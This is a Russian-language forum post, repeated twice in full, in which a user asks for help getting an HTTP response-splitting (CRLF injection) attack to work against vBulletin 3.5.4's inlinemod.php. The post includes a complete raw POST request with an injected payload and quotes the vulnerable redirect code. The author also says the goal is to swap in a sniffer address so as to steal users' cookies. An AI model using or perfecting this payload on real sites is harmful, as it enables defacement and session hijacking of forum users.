moridin
29.09.2006, 23:22
помогите разобраться
POST /vb354/inlinemod.php HTTP/1.0
Cookie: bbpassword=a5c3d9e61bcb8dea99105143c772bcd9; bbuserid=1
Content-Length: 93
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Host: www.vulnerable.com
Content-Type: application/x-www-form-urlencoded
do=clearthread&url=lala2%0d%0aContent-Length:
%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%
0a%0d%0a
сделал небольшую форму с двумя полями do и url
через пост на форум передаю эти два параметра
do=clearthread
url=lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%
0a%0d%0a
место где все происходит в коде: header("Location: $url", 0, 301);
как я понимаю, должно послаться два заголовка, location и content-type но на деле идут только location, в броузер кидает такую строку
http://127.0.0.1(форум на локал машине запущен)/lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%0a%0d%0a
вместо %0d%0a пробовал передавать \n\r, но результат тот же
каким образом можно отправить 2 заголовка? что я делаю не так?
плюс символы < > " заменяются на " < >
отправить несколько заголовков думаю точно можно, иначе бы в версии 3.6.0 не сделали проверку if (strpos($url, "\r\n") !== false)
{
trigger_error("Header may not contain more than a single header, new line detected.", E_USER_ERROR);
}
и еще, вместо lala2 можно было бы подставить адрес сниффера, но каким образом передать куки? что-то типа такого {$_COOKIE['member_id']} не работает, переменные не раскрываются
спасибо за внимание :)
POST /vb354/inlinemod.php HTTP/1.0
Cookie: bbpassword=a5c3d9e61bcb8dea99105143c772bcd9; bbuserid=1
Content-Length: 93
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Host: www.vulnerable.com
Content-Type: application/x-www-form-urlencoded
do=clearthread&url=lala2%0d%0aContent-Length:
%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%
0a%0d%0a
сделал небольшую форму с двумя полями do и url
через пост на форум передаю эти два параметра
do=clearthread
url=lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%
0a%0d%0a
место где все происходит в коде: header("Location: $url", 0, 301);
как я понимаю, должно послаться два заголовка, location и content-type но на деле идут только location, в броузер кидает такую строку
http://127.0.0.1(форум на локал машине запущен)/lala2%0d%0aContent-Length:%2033%0d%0a%0d%0a<html>Hacked!</html>%0d%0a%0d%0a
вместо %0d%0a пробовал передавать \n\r, но результат тот же
каким образом можно отправить 2 заголовка? что я делаю не так?
плюс символы < > " заменяются на " < >
отправить несколько заголовков думаю точно можно, иначе бы в версии 3.6.0 не сделали проверку if (strpos($url, "\r\n") !== false)
{
trigger_error("Header may not contain more than a single header, new line detected.", E_USER_ERROR);
}
и еще, вместо lala2 можно было бы подставить адрес сниффера, но каким образом передать куки? что-то типа такого {$_COOKIE['member_id']} не работает, переменные не раскрываются
спасибо за внимание :)